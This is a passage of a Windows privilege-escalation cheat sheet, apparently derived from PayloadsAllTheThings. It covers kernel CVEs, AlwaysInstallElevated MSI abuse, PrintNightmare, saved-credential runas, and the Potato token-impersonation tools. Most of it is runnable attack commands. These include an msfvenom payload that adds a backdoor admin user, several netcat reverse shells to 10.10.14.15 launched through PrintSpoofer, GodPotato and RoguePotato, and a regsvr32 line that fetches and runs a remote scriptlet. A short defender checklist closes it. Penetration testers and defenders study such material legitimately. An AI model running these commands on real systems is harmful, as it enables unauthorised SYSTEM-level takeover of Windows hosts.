MS17-017KB4013081GDI Palette Objects Local Privilege EscalationWindows 7/8
CVE-2017-8464LNK Remote Code Execution VulnerabilityWindows 10/8.1/7/2016/2010/2008
CVE-2017-0213Windows COM Elevation of Privilege VulnerabilityWindows 10/8.1/7/2016/2010/2008
CVE-2018-0833SMBv3 Null Pointer Dereference DoSWindows 8.1/Server 2012 R2
CVE-2018-8120Win32k Elevation of Privilege VulnerabilityWindows 7 SP1/2008 SP2/2008 R2 SP1
MS17-010KB4013389Windows Kernel Mode Drivers (EternalBlue)Windows 7/2008/2003/XP
MS16-135KB3199135Windows Kernel Mode Drivers2016
MS16-111KB3186973kernel apiWindows 10 10586 / 8.1
MS16-098KB3178466Kernel DriverWin 8.1
MS16-075KB3164038Hot Potato (NTLM relay + WPAD + DNS)2003/2008/7/8/2012
MS16-034KB3143145Kernel Driver2008/7/8/10/2012
MS16-032KB3143141Secondary Logon Handle2008/7/8/10/2012
MS16-016KB3136041WebDAV2008/Vista/7
MS16-014K3134228remote code execution2008/Vista/7
MS03-026KB823980Buffer Overrun In RPC InterfaceNT/2000/XP/2003
CVE-2019-1388UAC bypass via UI certificate properties (HHUPD)Windows 7 → Server 2019

Cross-compile from Kali

kali
shell
i586-mingw32msvc-gcc -o adduser.exe useradd.c<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

15. EoP — Microsoft Windows Installer

AlwaysInstallElevated

When both HKLM and HKCU have AlwaysInstallElevated=1, any user can run an MSI as NT AUTHORITY\SYSTEM. This is a one-line privesc and is still surprisingly common on legacy estates.

cmd / ps
shell
# Shell
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# PowerShell
Get-ItemProperty HKLM\Software\Policies\Microsoft\Windows\Installer
Get-ItemProperty HKCU\Software\Policies\Microsoft\Windows\Installer<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Both queries must return 0x1. Then create an MSI and install it:

cmd
shell
msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi
msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi-nouac -o evil.msi
msiexec /quiet /qn /i C:\evil.msi<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Also available in:

  • Metasploit: exploit/windows/local/always_install_elevated
  • PowerUp.ps1: Get-RegistryAlwaysInstallElevated, Write-UserAddMSI

Custom Actions (MSI repair attack)

Custom Actions in MSI allow developers to specify scripts or executables to run at various points during installation. If a CustomAction is misconfigured (calls a script from a user-writable path, races with the user, or pops a conhost as SYSTEM), msiexec /fa ("repair") will re-execute them with SYSTEM privileges.

  • mgeeky/msidump — analyse a malicious MSI, extract files/streams/binary data, YARA scan
  • activescott/lessmsi — view & extract MSI contents
  • mandiant/msi-search — map installed products to their MSI files
cmd
shell
wmic product get identifyingnumber,name,vendor,version<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Trigger CustomActions via the /fa repair parameter. We can use both the IdentifyingNumber GUID or the path to the installer c:\windows\installer\XXXXXXX.msi. The repair runs with the NT SYSTEM account.

powershell
shell
$installed = Get-WmiObject Win32_Product
$string = $installed | select-string -pattern "PRODUCTNAME"
$string[0] -match '{\w{8}-\w{4}-\w{4}-\w{4}-\w{12}}'
Start-Process -FilePath "msiexec.exe" -ArgumentList "/fa $($matches[0])"<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Common mistakes in MSI installers

  • Missing quiet parameter: spawns conhost.exe as SYSTEM. Use Ctrl+A to select text and pause; then conhost → properties → legacy console mode link → Internet Explorer → Ctrl+O → cmd.exe.
  • GUI with direct actions: opens a URL, start the browser and pivot.
  • Binaries/scripts loaded from user-writable paths: you might need to win a race condition.
  • DLL hijacking / search-order abuse.
  • PowerShell -NoProfile missing: add custom commands into your profile.
powershell
shell
new-item -Path $PROFILE -Type file -Force
echo "Start-Process -FilePath cmd.exe -Wait;" > $PROFILE<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

16. EoP — Insecure GUI apps

Any application running as SYSTEM that allows an unprivileged user to spawn a CMD, browse directories, or open arbitrary files = trivial SYSTEM shell. Look for kiosk applications, vendor-installed shortcut managers, accessibility panels, and Microsoft’s own Help & Support tooling.

Classic example: Windows Help and Support (Windows + F1), search for "command prompt", click on "Click to open Command Prompt".

17. EoP — Evaluating vulnerable drivers

Look for vulnerable kernel drivers loaded on the box — the BYOVD ("Bring Your Own Vulnerable Driver") technique abuses a signed-but-buggy driver that an attacker carries onto the host. Often we don’t spend enough time looking at this category.

  • Living Off The Land Drivers (LOLDrivers) — a curated list of Windows drivers used by adversaries to bypass security controls and carry out attacks.
  • Native binary DriverQuery.exe
powershell
shell
PS C:\Users\Swissky> driverquery.exe /fo table /si
Module Name  Display Name           Driver Type  Link Date
===========  ====================   ===========  ====================
1394ohci     1394 OHCI Compliant Ho Kernel        12/10/2006 4:44:38 PM
3ware        3ware                  Kernel        5/18/2015 6:28:03 PM
ACPI         Microsoft ACPI Driver  Kernel        12/9/1975 6:17:08 AM
AcpiDev      ACPI Devices driver    Kernel        12/7/1993 6:22:19 AM
acpiex       Microsoft ACPIEx Drive Kernel        3/1/2087 8:53:50 AM
acpipagr     ACPI Processor Aggrega Kernel        1/24/2081 8:36:36 AM
AcpiPmi      ACPI Power Meter Drive Kernel        11/19/2006 9:20:15 PM
acpitime     ACPI Wake Alarm Driver Kernel        2/9/1974 7:10:30 AM
ADP80XX      ADP80XX                Kernel        4/9/2015 4:49:48 AM<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

matterpreter/OffensiveCSharp/DriverQuery

powershell
shell
PS C:\Users\Swissky> DriverQuery.exe --no-msft
[+] Enumerating driver services...
[+] Checking file signatures...
Citrix USB Filter Driver
    Service Name: ctxusbm
    Path: C:\Windows\system32\DRIVERS\ctxusbm.sys
    Version: 14.11.0.138
    Creation Time (UTC): 17/05/2018 01:20:50
    Cert Issuer: CN=Symantec Class 3 SHA256 Code Signing CA, OU=Symantec Trust Network, O=Symantec Corp...
    Signer: CN="Citrix Systems, Inc.", OU=XenApp(ClientSHA256), O="Citrix Systems, Inc.",...<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

18. EoP — Printers (Universal Printer / PrintNightmare / BYOV)

Universal Printer (mimikatz mimispool)

Drop a printer driver into the print spooler that loads mimispool.dll. When the spooler installs it under SYSTEM, we get code execution as SYSTEM.

powershell
shell
$printerName     = 'Universal Priv Printer'
$system32        = $env:systemroot + '\system32'
$drivers         = $system32 + '\spool\drivers'
$RegStartPrinter = 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\' + $printerName

Copy-Item -Force -Path ($system32 + '\mscms.dll') -Destination ($system32 + '\mimispool.dll')
Copy-Item -Force -Path '.\mimikatz_trunk\x64\mimispool.dll' -Destination ($drivers + '\x64\3\mimispool.dll')
Copy-Item -Force -Path '.\mimikatz_trunk\win32\mimispool.dll' -Destination ($drivers + '\W32X86\3\mimispool.dll')

Add-PrinterDriver -Name 'Generic / Text Only'
Add-Printer       -DriverName 'Generic / Text Only' -Name $printerName -PortName 'FILE:' -Shared

New-Item         -Path ($RegStartPrinter + '\CopyFiles')          | Out-Null
New-Item         -Path ($RegStartPrinter + '\CopyFiles\Kiwi')     | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi')    -Name 'Directory' -PropertyType String -Value 'x64\3'
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi')    -Name 'Files'     -PropertyType MultiString -Value @('mimispool.dll')
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi')    -Name 'Module'    -PropertyType String -Value 'mscms.dll'
# ...similar Litchi / Mango sub-keys<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>
powershell
shell
$serverName    = 'dc.purple.lab'
$printerName   = 'Universal Priv Printer'
$fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'Windows x64'} Else {'Windows NT x86'})
Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
Add-Printer -ConnectionName $fullprinterName<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

powershell
bash
git clone https://github.com/cube0x0/CVE-2021-1675
PS C:\adversary> FakePrinter.exe 32mimispool.dll 64mimispool.dll EasySystemShell
[ Generic / Text Only!
[+] Adding printer => EasySystemShell!
[+] Setting 64-bit Registry key
[+] Setting 32-bit Registry key
[+] Setting '*' Registry key

PS C:\target> $serverName     = 'printer-installed-host'
PS C:\target> $printerName    = 'EasySystemShell'
PS C:\target> $fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'Windows x64'} Else {'Windows NT x86'})
PS C:\target> Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
PS C:\target> Add-Printer -ConnectionName $fullprinterName<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Bring Your Own Vulnerability (signed-driver/print-driver LPEs)

CodenameCVEDescription
ACIDDAMAGECVE-2021-35449Lexmark Universal Print Driver LPE
RADIANTDAMAGECVE-2021-38085Canon TR150 Print Driver LPE
POISONDAMAGECVE-2019-19363Ricoh PCL6 Print Driver LPE
SLASHINGDAMAGECVE-2020-1300Windows Print Spooler LPE
cmd
shell
cp_server.exe -e ACIDDAMAGE
# Get-Printer
# Set the "Advanced Sharing Settings" -> "Turn off password protected sharing"
cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
cp_client.exe -l -e ACIDDAMAGE<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

19. EoP — runas / cmdkey

Use cmdkey to list stored credentials on the machine.

cmd
shell
cmdkey /list
Currently stored credentials:
 Target: Domain:interactive=WORKGROUP\Administrator
 Type: Domain Password
 User: WORKGROUP\Administrator<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Then use runas with the /savecred flag to use the saved credentials. The following example is calling a remote binary via an SMB share:

cmd
shell
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
runas /savecred /user:Administrator "cmd.exe /k whoami"<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

runas with explicit credentials

cmd / ps
shell
C:\Windows\System32\runas.exe /env /noprofile /user:  "c:\users\Public\nc.exe -nv  4444 -e cmd.exe"

$secpasswd = ConvertTo-SecureString "" -AsPlainText -Force
$mycreds   = New-Object System.Management.Automation.PSCredential ("", $secpasswd)
$computer  = ""
[System.Diagnostics.Process]::Start("C:\users\public\nc.exe"," 4444 -e cmd.exe", $mycreds.UserName, $mycreds.Password, $computer)<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

20. EoP — Abusing shadow copies

If you have local administrator access on a machine try to list shadow copies — it’s an easy way to read SAM/NTDS/locked files without dealing with the live registry/file handles.

cmd
shell
# List shadow copies using vssadmin (Needs Administrator Access)
vssadmin list shadows

# List shadow copies using diskshadow
diskshadow list shadows all

# Make a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

21. EoP — Local administrator → NT SYSTEM

The simplest possible local-admin → SYSTEM bridge — PsExec with -i -s spawns an interactive process as the LocalSystem account.

cmd
shell
PsExec.exe -i -s cmd.exe<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>
☼ Pro tip — Other paths to SYSTEM from local-admin: nt-service-create & sc create with obj= LocalSystem; schedule a task at boot/now; at (legacy); RunAsTI for TrustedInstaller.

22. EoP — Living Off The Land Binaries & Scripts (LOLBAS)

The LOLBAS project (Living Off The Land Binaries, Scripts, and Libraries) documents every signed-by-Microsoft binary that can be misused for: bypassing AppLocker, downloading files, executing arbitrary code, dumping LSASS, etc.

A LOLBin/Lib/Script must:

  • Be a Microsoft-signed file, either native to the OS or downloaded from Microsoft
  • Have extra "unexpected" functionality. Intended use cases are not documented — exceptions are application-whitelisting bypasses
  • Have functionality that would be useful to an APT or red team

Quick examples

cmd
shell
wmic.exe process call create calc
regsvr32 /s /n /u /i:https://tinyurl.com/2a8yook3 scrobj.dll
Microsoft.Workflow.Compiler.exe tests.xml results.xml<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>
ⓘ Note — Full list: https://lolbas-project.github.io/. Searchable by capability: AWL bypass, command execution, file download, file copy, etc.

23. EoP — Impersonation privileges (Potato & friends)

Token privileges are the most lucrative quick-wins on modern Windows. Always run whoami /priv first — one of these enabled is often the entire engagement.

Quick reference matrix

PrivilegeImpactToolExecution pathRemarks
SeAssignPrimaryTokenAdmin3rd-party toolImpersonate tokens with potato.exe / rottenpotato.exe / juicypotato.exeSame vector as SeImpersonate
SeImpersonateAdminPotato familySpin up a fake COM/RPC server, force SYSTEM to authenticate, impersonate its tokenJuicyPotato (legacy), PrintSpoofer / EFSPotato / RoguePotato / GodPotato on modern Windows
SeBackupThreatBuilt-inRead sensitive files with robocopy /b; copy SAM/SYSTEM/NTDSCombine with SeRestore. Read MEMORY.DMP if available.
SeCreateTokenAdmin3rd-party toolCreate arbitrary token including local-admin rights with NtCreateToken
SeDebugAdminPowerShellDuplicate the lsass.exe token; inject into any processScript: FuzzySecurity
SeLoadDriverAdmin3rd-party toolLoad a buggy kernel driver such as szkg64.sys or capcom.sys and exploit itCVE-2018-15732 (szkg64). Alternatively unload security drivers with fltMC sysmondrv
SeRestoreAdminPowerShellEnable privilege (Enable-SeRestorePrivilege); rename utilman.exe to utilman.old; copy cmd.exe over utilman.exe; lock console; press Win+U → SYSTEM cmdMay be detected by some AV. Alt: replace service binaries under Program Files using the same privilege.
SeTakeOwnershipAdminBuilt-intakeown.exe /f "%windir%\system32"icacls.exe "%windir%\system32" /grant "%username%":F → rename cmd.exe over utilman.exe → Win+USame alternative as SeRestore
SeTcbAdmin3rd-party toolManipulate tokens to have local-admin rights includedOften requires combination with other privileges
SeManageVolumeAdmin3rd-party toolCombined with SeBackup/SeRestore lets you mount any volume and rewrite system filesSee SeManageVolumeExploit (CsEnox)
SeShutdownThreatBuilt-inTrigger shutdown/restart; can be chained with scheduled tasks for persistenceNot direct EoP

Restore a service account’s privileges

When a service account loses SeImpersonatePrivilege (e.g. by changing service identity), you can sometimes re-grant it through Group Policy or directly via secedit. Full cheatsheet: github.com/gtworek/Priv2Admin and PrivescCheck.

Meterpreter getsystem and alternatives

msf
shell
# msf
meterpreter > getsystem
# uses (in order):
#   1. Named pipe impersonation (in memory / admin)
#   2. Named pipe impersonation (dropper / admin)
#   3. Token duplication (in memory / admin)
#   4. Named pipe impersonation (RPCSS variant)
#   5. Named pipe impersonation (PrintSpooler variant)
#   6. Named pipe impersonation (EFSRPC variant - EfsPotato)<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

RottenPotato — classic token impersonation

cmd
shell
# Drop on target with SeImpersonatePrivilege
.\RottenPotato.exe<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

JuicyPotato — abuse of golden COM CLSIDs

cmd
shell
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {CLSID}
# See: https://ohpe.it/juicy-potato/CLSID/ for working CLSIDs per OS<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>
⚠ Caution — JuicyPotato is patched on Windows 10 build 1809 and Server 2019+. Use PrintSpoofer, RoguePotato, GodPotato, EFSPotato on modern boxes.

Rogue Potato — fake OXID resolver

cmd
shell
# attacker side: relay OXID
socat tcp-listen:135,reuseaddr,fork tcp::9999

# on target
RoguePotato.exe -r  -e "c:\windows\temp\nc.exe -e cmd.exe 10.10.14.15 9001" -l 9999<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

EFSPotato — MS-EFSR EfsRpcOpenFileRaw

cmd
shell
EfsPotato.exe whoami /all<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

PrintSpoofer (modern, very reliable)

cmd
shell
PrintSpoofer.exe -c "c:\windows\temp\nc.exe -e cmd.exe 10.10.14.15 9001"
PrintSpoofer.exe -i -c cmd.exe<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

GodPotato (current best for Win10/11 & Server 2019/2022)

cmd
shell
GodPotato-NET4.exe -cmd "cmd /c whoami"
GodPotato-NET4.exe -cmd "C:\Temp\nc.exe -e cmd.exe 10.10.14.15 9001"<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Privileged File Write (one-shot SYSTEM via writeable file mapping)

A class of attacks that abuses Windows components which run as SYSTEM and load DLLs from predictable paths — if your low-priv user can write to one of those paths, you write a malicious DLL and trigger the load:

TechniqueIdea
DiagHubdiagtrack service loads DLLs from C:\Windows\System32; combine with arbitrary file write
UsoDLLLoaderUpdate Orchestrator Service (UsoSvc) loads from a predictable path
WerTriggerWindows Error Reporting service loads wer*.dll
WerMgrSimilar — WER manager loads vulnerable DLL chain on crash dispatch

24. Methodology recap & defender checklist

Recommended order of operations on a real engagement

#Action
1whoami /priv & whoami /groups — do I already have a winning privilege?
2systeminfo, wmic qfe — capture OS + patches for kernel-CVE selection
3Run winPEAS — let it find the easy wins
4Read it by hand — tooling will miss subtle ACL/description-field wins
5cmdkey /list, history files, registry password dump
6Service permission audit (accesschk -uwcqv "Authenticated Users")
7Look for AlwaysInstallElevated (one query, free SYSTEM)
8WES-NG / Watson for missing kernel patches
9If you have SeImpersonate, jump to Potato
10Defender takeaway: log whoami /priv, alert on sc config, monitor AlwaysInstallElevated regkeys

Defender checklist

  • Disable AlwaysInstallElevated via Group Policy (delete the registry keys)
  • Apply MS17-010, MS16-* and ensure all kernel CVEs in Section 14 are patched
  • Enforce LAPS for local admin accounts; mark ms-Mcs-AdmPwd ACL to allowed-readers only
  • Audit service binaries with accesschk in your hardening pipeline
  • Block NTLM reflection / restrict SeImpersonatePrivilege to required service accounts
  • Detect Potato family with Sigma rules: named-pipe + suspicious SYSTEM child process
  • Disable Print Spooler on non-print servers (PrintNightmare permanent fix)
  • Block LOLBAS execution paths via WDAC / AppLocker
  • Disable PowerShell v2 engine
  • Enable PowerShell ScriptBlock + Module logging and Transcript

References

  • HackTricks — Windows Local Privilege Escalation
  • PayloadsAllTheThings — Methodology and Resources / Windows - Privilege Escalation.md (source of this document)
  • FuzzySecurity — Windows Privilege Escalation Fundamentals
  • itm4n — PrivescCheck / blog series on UAC and impersonation
  • SpecterOps — GhostPack (Seatbelt, Rubeus, SharpUp)
  • swisskyrepo — SessionGopher integration
  • github.com/gtworek/Priv2Admin — full privilege-to-admin matrix
  • LOLBAS — lolbas-project.github.io
  • LOLDrivers — www.loldrivers.io
Reactions